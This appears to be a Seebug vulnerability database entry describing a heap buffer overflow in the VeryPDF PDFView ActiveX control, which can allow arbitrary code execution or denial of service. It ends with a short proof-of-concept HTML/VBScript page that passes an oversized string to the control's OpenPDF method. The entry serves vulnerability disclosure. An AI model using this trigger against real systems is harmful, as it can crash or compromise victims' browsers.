VeryPDF PDFView ActiveX Component Heap Buffer Overflow Vulnerability

ID SSV:85867
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object> <script language='vbscript'> Sub Boom buff = String(1006, "A") target.OpenPDF buff, 1, 1 End Sub </script> <input type=button onclick=Boom() value='Boom?'>